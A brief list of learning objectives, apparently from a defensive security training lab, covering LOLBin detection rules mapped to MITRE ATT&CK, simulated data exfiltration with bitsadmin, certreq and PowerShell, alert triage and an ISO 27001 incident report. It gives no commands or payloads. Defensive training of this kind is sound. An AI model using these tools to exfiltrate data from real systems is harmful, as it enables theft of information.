  • Author custom LOLBin detection rules mapped to MITRE ATT&CK techniques T1567.002 and T1059.001.
  • Simulate real-world exfiltration attacks using bitsadmin, certreq, and PowerShell, then investigate and triage the resulting alerts using the SOC analyst workflow.
  • Secret Mission: Produced a GRC-ready incident report mapping detection findings to ISO 27001:2022 Annex A controls.

Ready to quiz yourself?